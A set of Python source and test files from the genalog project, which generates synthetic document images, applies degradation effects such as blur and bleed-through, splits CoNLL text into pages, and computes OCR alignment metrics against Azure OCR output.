#### File: genalog/degradation/degrader.py ```python import copy import inspect from enum import Enum from genalog.degradation import effect DEFAULT_METHOD_PARAM_TO_INCLUDE = "src" class ImageState(Enum): ORIGINAL_STATE = "ORIGINAL_STATE" CURRENT_STATE = "CURRENT_STATE" class Degrader: """ An object for applying multiple degradation effects onto an image""" def __init__(self, effects): """ Arguments: effects (list) : a list of 2-element tuple (method_name, method_kwargs) where: :method_name: the name of the degradation method (method must be defined in 'genalog.degradation.effect') :method_kwargs: the keyword arguments of the corresponding method Example: :: [ ("blur", {"radius": 3}), ("bleed_through", {"alpha": 0.8), ("morphology", {"operation": "open", "kernel_shape": (3,3), "kernel_type": "ones"}) ] The example above will apply degradation effects to the images in the following sequence: :: "blur" -> "bleed_through" -> "morphological operation (open)" """ Degrader.validate_effects(effects) self.effects_to_apply = copy.deepcopy(effects) self._add_default_method_param() @staticmethod def validate_effects(effects): """Validate the effects list Arguments: effects (list) : a list of 2-element tuple ``(method_name, method_kwargs)`` that defines: 1. ``method_name`` : the name of the degradation method \ (method must be defined in ``genalog.degradation.effect``) 2. ``method_kwargs`` : the keyword arguments of the corresponding method Example: :: [ ("blur", {"radius": "3"}), ("bleed_through", {"alpha":"0.8"}), ("morphology", {"operation": "open", "kernel_shape": (3,3), "kernel_type": "ones"}), ] Raises: ValueError: raise this error when: ``method_name`` not defined in "genalog.degradation.effect" ``method_kwargs`` is not a valid keyword arguments in the corresponding method """ for effect_tuple in effects: method_name, method_kwargs = effect_tuple try: # Try to find corresponding degradation method in the module method = getattr(effect, method_name) except AttributeError: raise ValueError( f"Method '{method_name}' is not defined in 'genalog.degradation.effect'" ) # Get the method signatures method_sign = inspect.signature(method) # Check if method parameters are valid for ( param_name ) in method_kwargs.keys(): # i.e. ["operation", "kernel_shape", ...] if param_name not in method_sign.parameters: method_args = [param for param in method_sign.parameters] raise ValueError( f"Invalid parameter name '{param_name}' for method 'genalog.degradation.effect.{method_name}()'. " + f"Method parameter names are: {method_args}" ) def _add_default_method_param(self): """All methods in "genalog.degradation.effect" module have a required method parameter named "src". This parameter will be included if not provided by the input keyword argument dictionary. """ for effect_tuple in self.effects_to_apply: method_name, method_kwargs = effect_tuple if DEFAULT_METHOD_PARAM_TO_INCLUDE not in method_kwargs: method_kwargs[ DEFAULT_METHOD_PARAM_TO_INCLUDE ] = ImageState.CURRENT_STATE def apply_effects(self, src): """Apply degradation effects in sequence Arguments: src (numpy.ndarray) : source image of shape (rows, cols) Returns: a copy of the source image {numpy.ndarray} after apply the effects """ self.original_state = src self.current_state = src # Preserve the original effect instructions effects_to_apply = copy.deepcopy(self.effects_to_apply) for effect_tuple in effects_to_apply: method_name, method_kwargs = effect_tuple method = getattr(effect, method_name) # Replace constants (i.e. ImageState.ORIGINAL_STATE) with actual image state method_kwargs = self.insert_image_state(method_kwargs) # Calling the degradation method self.current_state = method(**method_kwargs) return self.current_state def insert_image_state(self, kwargs): """Replace the enumeration (ImageState) with the actual image in the keyword argument dictionary Arguments: kwargs (dict) : keyword argument dictionary Ex: {"src": ImageState.ORIGINAL_STATE, "radius": 5} Returns: return keyword argument dictionary replaced with reference to the image """ for keyword, argument in kwargs.items(): if argument is ImageState.ORIGINAL_STATE: kwargs[keyword] = self.original_state.copy() if argument is ImageState.CURRENT_STATE: kwargs[keyword] = self.current_state.copy() return kwargs ``` #### File: genalog/ocr/metrics.py ```python import argparse import json import multiprocessing import os import re from multiprocessing import Pool import pandas as pd from tqdm import tqdm from genalog.text.alignment import GAP_CHAR from genalog.text.anchor import align_w_anchor from genalog.text.ner_label import _find_gap_char_candidates LOG_LEVEL = 0 WORKERS_PER_CPU = 2 def _log(*args, **kwargs): if LOG_LEVEL: print(args) def _trim_whitespace(src_string): return re.sub(r"\s+", " ", src_string.strip()) def _update_align_stats(src, target, align_stats, substitution_dict, gap_char): """Given two string that differ and have no alignment at all, update the alignment dict and fill in substitution if replacements are found. update alignment stats with counts of the edit operation to transform the source string to the targes Args: src (str): source string target (str): target string at the align_stats (dict): key-value dictionary that stores the counts of inserts, deletes, spacing and replacements substitution_dict (dict): store the counts of mapping from one substring to another of the replacement edit operation. e.g if 'rm' in source needs to map to 'm' in the target 2 times this will be { ('rm','m'): 2} gap_char (str): gap character used in alignment """ _log("getting gap stats for", src, target) spacing_count = 0 for char1, char2 in zip(target, src): if (char1 == gap_char and char2 == " ") or (char1 == " " and char2 == gap_char): spacing_count += 1 source_substr = src.strip(f"{gap_char} ") target_substr = target.strip(f"{gap_char} ") if source_substr != "" or target_substr != "": if source_substr == "": _log("inserting", target_substr) align_stats["insert"] += 1 elif target_substr == "": _log("deleting", source_substr) align_stats["delete"] += 1 else: align_stats["replace"] += 1 _log("replacing", source_substr, target_substr) substitution_dict[source_substr, target_substr] = ( substitution_dict.get((source_substr, target_substr), 0) + 1 ) _log("spacing count", spacing_count) align_stats["spacing"] += spacing_count def _update_word_stats( aligned_src, aligned_target, gap_char, start, end, matching_chars_count, matching_words_count, matching_alnum_words_count, ): """Given two string segments that align. update the counts of matching words and characters Args: aligned_src (str): full source string aligned_target (str): full target string gap_char (str): gap character used in alignment start (int): start position of alignment end (int): end position of alignment matching_chars_count (int): current count of matching characters matching_words_count (int): current count of matching words matching_alnum_words_count (int): current count of alphanumeric matching words Returns: tuple(int,int,int): the updated matching_chars_count, matching_words_count, matching_alnum_words_count """ aligned_part = aligned_src[start:end] matching_chars_count += end - start # aligned_part = seq.strip() _log("aligned", aligned_part, start, end) if len(aligned_src) != len(aligned_target): raise ValueError("alignment strings are of different length") if aligned_part.strip() != "": words = re.split(r"\s+", aligned_part.strip()) matching_words_count += len(words) matching_alnum_words_count += len(words) for i, word in enumerate(words): # remove words that dont have an alphanumeric char from the alphanumeric word count if not re.search(r"\w", word): matching_alnum_words_count -= 1 # handle the edge case for the first and last words as these are at the boundary and need # to be compared with the full string to see if they have space before or after if i == 0: if start != 0 and ( aligned_target[start] != " " or aligned_src[start] != " " ): # if this was the start of the string in the target or source if not ( aligned_src[:start].replace(gap_char, "").replace(" ", "") == "" and aligned_target[start - 1] == " " ) and not ( aligned_target[:start].replace(gap_char, "").replace(" ", "") == "" and aligned_src[start - 1] == " " ): # beginning word not matching completely _log("removing first match word from count", word, aligned_part) matching_words_count -= 1 if re.search(r"\w", word): matching_alnum_words_count -= 1 continue if i == len(words) - 1: if end != len(aligned_target) and ( aligned_target[end] != " " or aligned_src[end] != " " ): # this was not the end of the string in the src and not end of string in target if not ( aligned_src[end:].replace(gap_char, "").replace(" ", "") == "" and aligned_target[end] == " " ) and not ( aligned_target[end:].replace(gap_char, "").replace(" ", "") == "" and aligned_src[end] == " " ): # last word not matching completely _log("removing last match word from count", word, aligned_part) matching_words_count -= 1 if re.search(r"\w", word): matching_alnum_words_count -= 1 _log("matched count", matching_words_count) _log("matched alnum count", matching_alnum_words_count) return matching_chars_count, matching_words_count, matching_alnum_words_count def _get_align_stats(alignment, src_string, target, gap_char): """Given an alignment, this function get the align stats and substitution mapping to transform the source string to the target string Args: alignment (tuple(str, str)): the result of calling align on the two strings src_source (str): the source string target (str) : the target string gap_char (str) : the gap character used in alignment Raises: ValueError: if any of the aligned string are empty Returns: tuple(dict, dict): align stats dict, substitution mappings dict """ aligned_src, aligned_target = alignment if src_string.strip() == "" or target.strip() == "": raise ValueError("one of the input strings is empty") _log("src, target", src_string, target) substitution_dict = {} # words are defined as here as string sepated by whitespace words = re.split(r"\s+", target.strip()) word_count = len(words) # alphanumeric words are defined here as words with at least one alphanumeric character alnum_words_count = len(list(filter(lambda x: re.search(r"\w", x), words))) char_count = max(len(target), len(src_string)) matching_chars_count = 0 matching_words_count = 0 matching_alnum_words_count = 0 align_stats = { "insert": 0, "delete": 0, "replace": 0, "spacing": 0, "total_chars": char_count, "total_words": word_count, "total_alnum_words": alnum_words_count, } start = 0 _log("######### Alignment ############") _log(aligned_src) _log(aligned_target) _log("################################") gap_start = None for i, (char_1, char_2) in enumerate(zip(aligned_src, aligned_target)): if char_1 != char_2: # since characters don't match here start:i is a substring of the string that align # since this substring aligns, simple count the number of matching words and chars in and update # the word stats end = i _log( "sequences", aligned_src[start:end], aligned_target[start:end], start, end, ) assert aligned_src[start:end] == aligned_target[start:end] ( matching_chars_count, matching_words_count, matching_alnum_words_count, ) = _update_word_stats( aligned_src, aligned_target, gap_char, start, end, matching_chars_count, matching_words_count, matching_alnum_words_count, ) start = end + 1 if gap_start is None: gap_start = end else: gap_end = i if gap_start is not None: # since characters now match gap_start:i contains a substring of the characters that didnt align before # handle this gap alignment by calling _update_align_stats _log( "gap", aligned_src[gap_start:gap_end], aligned_target[gap_start:gap_end], gap_start, gap_end, ) _update_align_stats( aligned_src[gap_start:gap_end], aligned_target[gap_start:gap_end], align_stats, substitution_dict, gap_char, ) gap_start = None # Now compare any left overs string segments from the for loop if gap_start is not None: # handle last alignment gap _log("last gap", aligned_src[gap_start:], aligned_target[gap_start:]) _update_align_stats( aligned_src[gap_start:], aligned_target[gap_start:], align_stats, substitution_dict, gap_char, ) else: # handle last aligned substring seq = aligned_src[start:] aligned_part = seq.strip() end = len(aligned_src) _log("last aligned", aligned_part) ( matching_chars_count, matching_words_count, matching_alnum_words_count, ) = _update_word_stats( aligned_src, aligned_target, gap_char, start, end, matching_chars_count, matching_words_count, matching_alnum_words_count, ) align_stats["matching_chars"] = matching_chars_count align_stats["matching_alnum_words"] = matching_alnum_words_count align_stats["matching_words"] = matching_words_count align_stats["alnum_word_accuracy"] = matching_alnum_words_count / alnum_words_count align_stats["word_accuracy"] = matching_words_count / word_count align_stats["char_accuracy"] = matching_chars_count / char_count return align_stats, substitution_dict def get_editops_stats(alignment, gap_char): """Get stats for character level edit operations that need to be done to transform the source string to the target string. Inputs must not be empty and must be the result of calling the runing the align function. Args: alignment (tuple(str, str)): the results from the string alignment biopy function gap_char (str): gap character used in alignment Raises: ValueError: If any of the string in the alignment are empty Returns: [type]: [description] """ aligned_src, aligned_target = alignment if aligned_src == "" or aligned_target == "": raise ValueError("one of the input strings is empty") stats = { "edit_insert": 0, "edit_delete": 0, "edit_replace": 0, "edit_insert_spacing": 0, "edit_delete_spacing": 0, } actions = {} for i, (char_1, char_2) in enumerate(zip(aligned_src, aligned_target)): if LOG_LEVEL > 1: _log(char_1, char_2) if char_1 == gap_char: # insert if char_2 == " ": stats["edit_insert_spacing"] += 1 else: stats["edit_insert"] += 1 actions[i] = ("I", char_2) elif char_2 == gap_char: # delete if char_1 == " ": stats["edit_delete_spacing"] += 1 else: stats["edit_delete"] += 1 actions[i] = "D" elif char_2 != char_1: stats["edit_replace"] += 1 actions[i] = ("R", char_2) return stats, actions def get_align_stats(alignment, src_string, target, gap_char): """Get alignment stats Args: alignment (tuple(str,str)): the result of calling the align function src_string (str): the original source string target (str): the original target string gap_char (str): the gap character used in alignment Raises: ValueError: if any of the strings are empty Returns: tuple(dict, dict): dict of the align starts and dict of the substitution mappings """ if src_string.strip() == "" or target.strip() == "": raise ValueError("one of the input strings is empty") _log("alignment results") _log(alignment) align_stats, substitution_dict = _get_align_stats( alignment, src_string, target, gap_char ) return align_stats, substitution_dict def get_stats(target, src_string): """Get align stats, edit stats, and substitution mappings for transforming the source string to the target string. Edit stats refers to character level edit operation required to transform the source to target. Align stats referers to substring level operation required to transform the source to target. Align stats have keys insert,replace,delete and the special key spacing which counts spacing differences between the two strings. Edit stats have the keys edit_insert, edit_replace, edit_delete which count the character level edits. Args: src_string (str): the source string target (str): the target string Returns: tuple(str, str): One dict containing the edit and align stats, another dict containing the substitutions """ gap_char_candidates, input_char_set = _find_gap_char_candidates( [src_string], [target] ) gap_char = ( GAP_CHAR if GAP_CHAR in gap_char_candidates else gap_char_candidates.pop() ) alignment = align_w_anchor(src_string, target, gap_char=gap_char) align_stats, substitution_dict = get_align_stats( alignment, src_string, target, gap_char ) edit_stats, actions = get_editops_stats(alignment, gap_char) _log("alignment", align_stats) return {**edit_stats, **align_stats}, substitution_dict, actions def get_metrics( src_text_path, ocr_json_path, folder_hash=None, use_multiprocessing=True ): """Given a path to the folder containing the source text and a folder containing the output OCR json, this generates the metrics for all files in the source folder. This assumes that the files json folder are of the same name the text files except they are prefixed by the parameter folder_hash followed by underscore and suffixed by .png.json. Args: src_text_path (str): path to source txt files ocr_json_path (str): path to OCR json files folder_hash (str): prefix for OCR json files use_multiprocessing (bool): use multiprocessing Returns: tuple(pandas.DataFrame, dict): A pandas dataframe of the metrics with each file in a row, a dict containing the substitions mappings for each file. the key to the dict is the filename and the values are dicts of the substition mappings for that file. """ rows = [] substitutions = {} actions_map = {} # Spin up workers as alignment on many files can take a while cpu_count = multiprocessing.cpu_count() n_workers = WORKERS_PER_CPU * cpu_count job_args = list( map( lambda f: (f, src_text_path, ocr_json_path, folder_hash), os.listdir(src_text_path), ) ) if use_multiprocessing: with Pool(n_workers) as pool: for f, stats, actions, subs in tqdm( pool.imap_unordered(_worker, job_args), total=len(job_args) ): substitutions[f] = subs actions_map[f] = actions rows.append(stats) else: for f, stats, actions, subs in tqdm( map(_worker, job_args), total=len(job_args) ): substitutions[f] = subs actions_map[f] = actions rows.append(stats) df = pd.DataFrame(rows) return df, substitutions, actions_map def get_file_metrics(f, src_text_path, ocr_json_path, folder_hash): src_filename = os.path.join(src_text_path, f) if folder_hash: ocr_filename = os.path.join( ocr_json_path, f"{folder_hash}_{f.split('txt')[0] + 'json'}" ) else: ocr_filename = os.path.join(ocr_json_path, f"{f.split('txt')[0] + 'json'}") try: src_string = open(src_filename, "r", errors="ignore", encoding="utf8").read() except FileNotFoundError: print(f"File not found: {src_filename}, skipping this file.") return f, {}, {}, {} try: ocr_string = _get_sorted_text(json.load(open(ocr_filename, "rb"))) except FileNotFoundError: print(f"File not found: {ocr_filename}, skipping this file.") return f, {}, {}, {} # TODO ocr bug? text lines are sometimes not sorted correctly ocr_string = _trim_whitespace(ocr_string) src_string = _trim_whitespace(src_string) try: stats, subs, actions = get_stats(ocr_string, src_string) except ValueError as e: print("Error:", src_filename, ocr_filename, e) return f, {}, {}, {} stats["txt_path"] = src_filename stats["ocr_json_path"] = ocr_filename stats["filename"] = f return f, stats, actions, subs def _worker(args): (f, src_text_path, ocr_json_path, folder_hash) = args return get_file_metrics(f, src_text_path, ocr_json_path, folder_hash) def _get_sorted_text(ocr_json): if "lines" in ocr_json[0]: lines = ocr_json[0]["lines"] sorted_lines = sorted(lines, key=lambda line: line["boundingBox"][0]["y"]) return " ".join([line["text"] for line in sorted_lines]) else: return ocr_json[0]["text"] def substitution_dict_to_json(substitution_dict): """Converts substitution dict to list of tuples of (source_substring, target_substring, count) Args: substitution_dict ([type]): [description] """ to_tuple = lambda x: [(k + (x[k],)) for k in x] # noqa: E731 out = {} for filename in substitution_dict: out[filename] = to_tuple(substitution_dict[filename]) return out if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("src", help="path to folder with text files.") parser.add_argument( "ocr", help="folder with ocr json. the filename must match the text filename prefixed by ocr_prefix.", ) parser.add_argument("--ocr_prefix", help="the prefix of the ocr files") parser.add_argument("--output", help="output names of metrics files") args = parser.parse_args() df, subs, actions = get_metrics(args.src, args.ocr, args.ocr_prefix) csv_file, json_file = f"{args.output}.csv", f"{args.output}.json" print("got metrics. dumping to files:", csv_file, json_file) df.to_csv(csv_file) json.dump(substitution_dict_to_json(subs), open(json_file, "w")) ``` #### File: genalog/genalog/pipeline.py ```python import concurrent.futures import os import timeit from json import JSONEncoder import cv2 from tqdm import tqdm from genalog.degradation.degrader import Degrader, ImageState from genalog.generation.content import CompositeContent, ContentType from genalog.generation.document import DEFAULT_STYLE_COMBINATION from genalog.generation.document import DocumentGenerator class ImageStateEncoder(JSONEncoder): def default(self, obj): if isinstance(obj, ImageState): return obj.value return JSONEncoder.default(self, obj) class AnalogDocumentGeneration(object): def __init__( self, template_path=None, styles=DEFAULT_STYLE_COMBINATION, degradations=[], resolution=300): self.doc_generator = DocumentGenerator(template_path=template_path) self.doc_generator.set_styles_to_generate(styles) self.degrader = Degrader(degradations) self.resolution = resolution def list_templates(self): """List available templates to generate documents from Returns: list -- a list of template names """ return self.doc_generator.template_list # Fix: rename to generate_sample() # TODO: dd another method called generate_all_styles() def generate_img(self, full_text_path, template, target_folder=None): """Generate a image with a sample style given a text document **NOTE**: This does not generate all possible style combinations. Arguments: full_text_path (str) : full filepath of a text document (ex: "/dataset/doc.txt"). template (str) : name of html template to generate document from. (ex: "text_block.html.jinja") target_folder (str, optional) : folder path in which the generated images are stored. Defaults to None. resolution (int, optional) : resolution in dpi. Defaults to 300. Raises: RuntimeError: when cannot write to disk at specified path Returns: numpy.ndarray: synthetic image """ with open(full_text_path, "r", encoding="utf8") as f: # read file text = f.read() content = CompositeContent([text], [ContentType.PARAGRAPH]) generator = self.doc_generator.create_generator(content, [template]) # Generate the image try: doc = next(generator) # NOTE: this does not exhaust all of the style combinations in the generator except StopIteration: return None src = doc.render_array(resolution=self.resolution, channel="GRAYSCALE") # Degrade the image dst = self.degrader.apply_effects(src) if not target_folder: # return the analog document as numpy.ndarray return dst else: # save it onto disk text_filename = os.path.basename(full_text_path) img_filename = text_filename.replace(".txt", ".png") img_dst_path = os.path.join(target_folder, "img", img_filename) _setup_folder(target_folder) if not cv2.imwrite(img_dst_path, dst): raise RuntimeError(f"Could not write to path {img_dst_path}") return def _divide_batches(a, batch_size): for i in range(0, len(a), batch_size): yield a[i: i + batch_size] def _setup_folder(output_folder): os.makedirs(os.path.join(output_folder, "img"), exist_ok=True) def batch_img_generate(args): input_files, output_folder, styles, degradations, template, resolution = args generator = AnalogDocumentGeneration( styles=styles, degradations=degradations, resolution=resolution ) for file in input_files: generator.generate_img(file, template, target_folder=output_folder) def _set_batch_generate_args( file_batches, output_folder, styles, degradations, template, resolution ): return list( map( lambda batch: ( batch, output_folder, styles, degradations, template, resolution, ), file_batches, ) ) def generate_dataset_multiprocess( input_text_files, output_folder, styles, degradations, template, resolution=300, batch_size=25): _setup_folder(output_folder) print(f"Storing generated images in {output_folder}") batches = list(_divide_batches(input_text_files, batch_size)) print( f"Splitting {len(input_text_files)} documents into {len(batches)} batches with size {batch_size}" ) batch_img_generate_args = _set_batch_generate_args( batches, output_folder, styles, degradations, template, resolution ) # Default to the number of processors on the machine start_time = timeit.default_timer() with concurrent.futures.ProcessPoolExecutor() as executor: batch_iterator = executor.map(batch_img_generate, batch_img_generate_args) for _ in tqdm( batch_iterator, total=len(batch_img_generate_args) ): # wrapping tqdm for progress report pass elapsed = timeit.default_timer() - start_time print(f"Time to generate {len(input_text_files)} documents: {elapsed:.3f} sec") ``` #### File: genalog/text/lcs.py ```python class LCS: """ Compute the Longest Common Subsequence (LCS) of two given string.""" def __init__(self, str_m, str_n): self.str_m_len = len(str_m) self.str_n_len = len(str_n) dp_table = self._construct_dp_table(str_m, str_n) self._lcs_len = dp_table[self.str_m_len][self.str_n_len] self._lcs = self._find_lcs_str(str_m, str_n, dp_table) def _construct_dp_table(self, str_m, str_n): m = self.str_m_len n = self.str_n_len # Initialize DP table dp = [[0 for j in range(n + 1)] for i in range(m + 1)] for i in range(1, m + 1): for j in range(1, n + 1): # Case 1: if char1 == char2 if str_m[i - 1] == str_n[j - 1]: dp[i][j] = 1 + dp[i - 1][j - 1] # Case 2: take the max of the values in the top and left cell else: dp[i][j] = max(dp[i - 1][j], dp[i][j - 1]) return dp def _find_lcs_str(self, str_m, str_n, dp_table): m = self.str_m_len n = self.str_n_len lcs = "" while m > 0 and n > 0: # same char if str_m[m - 1] == str_n[n - 1]: # prepend the character lcs = str_m[m - 1] + lcs m -= 1 n -= 1 # top cell > left cell elif dp_table[m - 1][n] > dp_table[m][n - 1]: m -= 1 else: n -= 1 return lcs def get_len(self): return self._lcs_len def get_str(self): return self._lcs ``` #### File: genalog/text/splitter.py ```python import argparse import multiprocessing import os from multiprocessing.pool import ThreadPool from tqdm import tqdm from genalog.generation.content import CompositeContent, ContentType from genalog.generation.document import DocumentGenerator from genalog.text import preprocess # default buffer. Preferebly set this to something large # It holds the lines read from the CoNLL file BUFFER_SIZE = 50000 CONLL2012_DOC_SEPERATOR = "" CONLL2003_DOC_SEPERATOR = "-DOCSTART-" SEPERATOR = "" STARTING_SPLIT_GUESS = 100 # starting estimate of point where to split text MAX_SIZE = 100 # max number of sentences to pack on a doc page SPLIT_ITERS = 2 # number of iterations to run to find a good split WORKERS_PER_CPU = 2 default_generator = DocumentGenerator() def unwrap(size, accumulator): words = [] labels = [] for i in range(size[0], size[1]): sentence = accumulator[i] for word, tok in sentence: words.append(word) labels.append((word, tok)) return words, labels def find_split_position( accumulator, start_pos, iters=SPLIT_ITERS, template_name="text_block.html.jinja" ): """Run a few iterations of binary search to find the best split point from the start to pack in sentences into a page without overflow. Args: accumulator (list): buffer containing sentences iters (int, optional): Max number of iterations. Defaults to SPLIT_ITERS. Returns: the best split position for a doc, the doc, its labels and text """ global STARTING_SPLIT_GUESS # use binary search to find page split point start, end = start_pos, min(len(accumulator), MAX_SIZE + start_pos) best = None count = 0 while start <= end: if count == 0 and ( STARTING_SPLIT_GUESS + start_pos > start and STARTING_SPLIT_GUESS + start_pos < end ): split_point = STARTING_SPLIT_GUESS else: split_point = (start + end) // 2 doc_buf = (start_pos, split_point) content_words, labels = unwrap(doc_buf, accumulator) content_types = [ContentType.PARAGRAPH] text = " ".join(content_words) content = CompositeContent([text], content_types) doc_gen = default_generator.create_generator(content, [template_name]) doc = next(doc_gen) if len(doc._document.pages) > 1: end = split_point - 1 else: start = split_point + 1 best = split_point, doc, labels, text if count >= iters: break count += 1 STARTING_SPLIT_GUESS = split_point return best def generate_splits( input_file, output_folder, sentence_seperator="", doc_seperator=None, pool=None, force_doc_sep=False, ext="txt", ): """Processes the file line by line and add sentences to the buffer for processing. Args: input_file (str): CoNLL formated file output_folder (str): output folder path sentence_seperator (str): sentence seperator doc_seperator (str, optional): document seperator. Defaults to None. pool (ThreadPool, optional): ThreadPool. If not set, no multithreading is used. Defaults to None. force_doc_sep (bool, optional): Forces documents to be on separate pages. Defaults to False. """ doc_id = 0 accumulator = [] sentence = [] progress_bar = tqdm(unit=" docs", desc="Split into") with open(input_file) as f: for line in f: if line.strip() == sentence_seperator or line.strip() == doc_seperator: if len(sentence) > 0: accumulator.append(sentence) sentence = [] if line.strip() == doc_seperator and force_doc_sep: # progress to processing buffer immediately if force_doc_sep pass elif len(accumulator) < BUFFER_SIZE: continue start_pos = 0 while start_pos < len(accumulator): start_pos = next_doc( accumulator, doc_id, start_pos, output_folder, pool ) doc_id += 1 progress_bar.update(1) accumulator = [] continue word, tok = line.split("\t") if word.strip() == "": continue sentence.append((word, tok)) # process any left over lines start_pos = 0 if len(sentence) > 0: accumulator.append(sentence) while start_pos < len(accumulator): start_pos = next_doc(accumulator, doc_id, start_pos, output_folder, pool) doc_id += 1 progress_bar.update(1) def next_doc(accumulator, doc_id, start_pos, output_folder, pool, ext="txt"): split_pos, doc, labels, text = find_split_position(accumulator, start_pos) handle_doc(doc, labels, doc_id, text, output_folder, pool, ext) return split_pos def write_doc(doc, doc_id, labels, text, output_folder, ext="txt", write_png=False): if write_png: f = f"{output_folder}/img/img_{doc_id}.png" doc.render_png(target=f) text += " " # adding a space at EOF text = preprocess.split_sentences(text) with open(f"{output_folder}/clean_labels/{doc_id}.{ext}", "w") as fp: for idx, (token, label) in enumerate(labels): fp.write(token + "\t" + label) next_token, _ = labels[(idx + 1) % len(labels)] if preprocess.is_sentence_separator( token ) and not preprocess.is_sentence_separator(next_token): fp.write("\n") if idx == len(labels): # Reach the end of the document fp.write("\n") with open(f"{output_folder}/clean_text/{doc_id}.txt", "w") as text_file: text_file.write(text) return f"wrote: doc id: {doc_id}" def _error_callback(err): raise RuntimeError(err) def handle_doc(doc, labels, doc_id, text, output_folder, pool, ext="txt"): if pool: pool.apply_async( write_doc, args=(doc, doc_id, labels, text, output_folder, ext), error_callback=_error_callback, ) else: write_doc(doc, doc_id, labels, text, output_folder) def setup_folder(output_folder): os.makedirs(os.path.join(output_folder, "clean_text"), exist_ok=True) os.makedirs(os.path.join(output_folder, "clean_labels"), exist_ok=True) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument( "input_file", default="CoNLL-2012_train.txt", help="path to input CoNLL formated file.", ) parser.add_argument( "output_folder", default="conll2012_train", help="folder to write results to." ) parser.add_argument("--doc_sep", help="CoNLL doc seperator") parser.add_argument("--ext", help="file extension", default="txt") parser.add_argument( "--line_sep", default=CONLL2012_DOC_SEPERATOR, help="CoNLL line seperator" ) parser.add_argument( "--force_doc_sep", default=False, action="store_true", help="If set, documents are forced to be split by the doc seperator (recommended to turn this off)", ) args = parser.parse_args() unescape = lambda s: s.encode("utf-8").decode("unicode_escape") if s else None # noqa: E731 input_file = args.input_file output_folder = args.output_folder setup_folder(output_folder) # allow special characters in seperators line_sep = unescape(args.line_sep) or "" doc_sep = unescape(args.doc_sep) n_workers = WORKERS_PER_CPU * multiprocessing.cpu_count() with ThreadPool(processes=n_workers) as pool: generate_splits( input_file, output_folder, line_sep, doc_seperator=doc_sep, pool=pool, force_doc_sep=False, ext=args.ext, ) pool.close() pool.join() ``` #### File: genalog/tests/conftest.py ```python import logging import os import pytest from dotenv import load_dotenv from tests.required_env import RequiredEnvVar ENV_FILEPATH = "tests/.env" @pytest.fixture(scope="session") def load_azure_resources(): # Loading the non-secrets load_dotenv(ENV_FILEPATH) logging.info(f"Loading .env from {ENV_FILEPATH}") logging.debug("Printing environment vars: ") for env in RequiredEnvVar: logging.debug(f"\t{env.value}: {os.environ.get(env.value)}") ``` #### File: tests/e2e/test_generaton_n_degradation.py ```python from genalog.degradation.degrader import Degrader from genalog.generation.content import CompositeContent, ContentType from genalog.generation.document import DocumentGenerator TEST_OUTPUT_DIR = "test_out/" SAMPLE_TXT = """Everton 's <NAME> , who scored twice against Manchester United on Wednesday , was picked on Thursday for the Scottish squad after a 20-month exile .""" DEFAULT_TEMPLATE = "text_block.html.jinja" DEGRADATION_EFFECTS = [ ("blur", {"radius": 5}), ("bleed_through", {"alpha": 0.8}), ( "morphology", {"operation": "open", "kernel_shape": (3, 3), "kernel_type": "plus"}, ), ("morphology", {"operation": "close"}), ("morphology", {"operation": "dilate"}), ("morphology", {"operation": "erode"}), ] def test_generation_and_degradation(): # Initiate content content = CompositeContent([SAMPLE_TXT], [ContentType.PARAGRAPH]) doc_gen = DocumentGenerator() assert DEFAULT_TEMPLATE in doc_gen.template_list # Initate template generator generator = doc_gen.create_generator(content, [DEFAULT_TEMPLATE]) # Initiate degrader degrader = Degrader(DEGRADATION_EFFECTS) for doc in generator: # get the image in bytes in RGBA channels src = doc.render_array(resolution=100, channel="GRAYSCALE") # run each degradation effect degrader.apply_effects(src) ``` #### File: tests/e2e/test_image_channel.py ```python import cv2 import pytest from genalog.generation.content import CompositeContent, ContentType from genalog.generation.document import DocumentGenerator TEMPLATE_PATH = "tests/e2e/templates" TEST_OUT_FOLDER = "test_out/" SAMPLE_TXT = "foo" CONTENT = CompositeContent([SAMPLE_TXT], [ContentType.PARAGRAPH]) @pytest.fixture def doc_generator(): return DocumentGenerator(template_path=TEMPLATE_PATH) @pytest.mark.io def test_red_channel(doc_generator): generator = doc_generator.create_generator(CONTENT, ["solid_bg.html.jinja"]) for doc in generator: doc.update_style(background_color="red") img_array = doc.render_array(resolution=100, channel="BGRA") # css "red" is rgb(255,0,0) or bgra(0,0,255,255) assert tuple(img_array[0][0]) == (0, 0, 255, 255) cv2.imwrite(TEST_OUT_FOLDER + "red.png", img_array) @pytest.mark.io def test_green_channel(doc_generator): generator = doc_generator.create_generator(CONTENT, ["solid_bg.html.jinja"]) for doc in generator: doc.update_style(background_color="green") img_array = doc.render_array(resolution=100, channel="BGRA") # css "green" is rgb(0,128,0) or bgra(0,128,0,255) assert tuple(img_array[0][0]) == (0, 128, 0, 255) cv2.imwrite(TEST_OUT_FOLDER + "green.png", img_array) @pytest.mark.io def test_blue_channel(doc_generator): generator = doc_generator.create_generator(CONTENT, ["solid_bg.html.jinja"]) for doc in generator: doc.update_style(background_color="blue") img_array = doc.render_array(resolution=100, channel="BGRA") # css "blue" is rgb(0,0,255) or bgra(255,0,0,255) assert tuple(img_array[0][0]) == (255, 0, 0, 255) cv2.imwrite(TEST_OUT_FOLDER + "blue.png", img_array) ``` #### File: tests/e2e/test_ocr_e2e.py ```python import json import pytest from genalog.ocr.blob_client import GrokBlobClient from genalog.ocr.grok import Grok @pytest.fixture(scope="module", autouse=True) def load_azure_config(load_azure_resources): # Loading the non-secrets # Assume the secrets are set in the environment variable prior pass @pytest.mark.azure class TestBlobClient: @pytest.mark.parametrize("use_async", [True, False]) def test_upload_images(self, use_async): blob_client = GrokBlobClient.create_from_env_var() subfolder = "tests/unit/ocr/data/img" subfolder.replace("/", "_") dst_folder, _ = blob_client.upload_images_to_blob( subfolder, use_async=use_async ) uploaded_items, _ = blob_client.list_blobs(dst_folder) uploaded_items = sorted(list(uploaded_items), key=lambda x: x.name) assert uploaded_items[0].name == f"{dst_folder}/0.png" assert uploaded_items[1].name == f"{dst_folder}/1.png" assert uploaded_items[2].name == f"{dst_folder}/11.png" blob_client.delete_blobs_folder(dst_folder) assert ( len(list(blob_client.list_blobs(dst_folder)[0])) == 0 ), f"folder {dst_folder} was not deleted" dst_folder, _ = blob_client.upload_images_to_blob( subfolder, "test_images", use_async=use_async ) assert dst_folder == "test_images" uploaded_items, _ = blob_client.list_blobs(dst_folder) uploaded_items = sorted(list(uploaded_items), key=lambda x: x.name) assert uploaded_items[0].name == f"{dst_folder}/0.png" assert uploaded_items[1].name == f"{dst_folder}/1.png" assert uploaded_items[2].name == f"{dst_folder}/11.png" 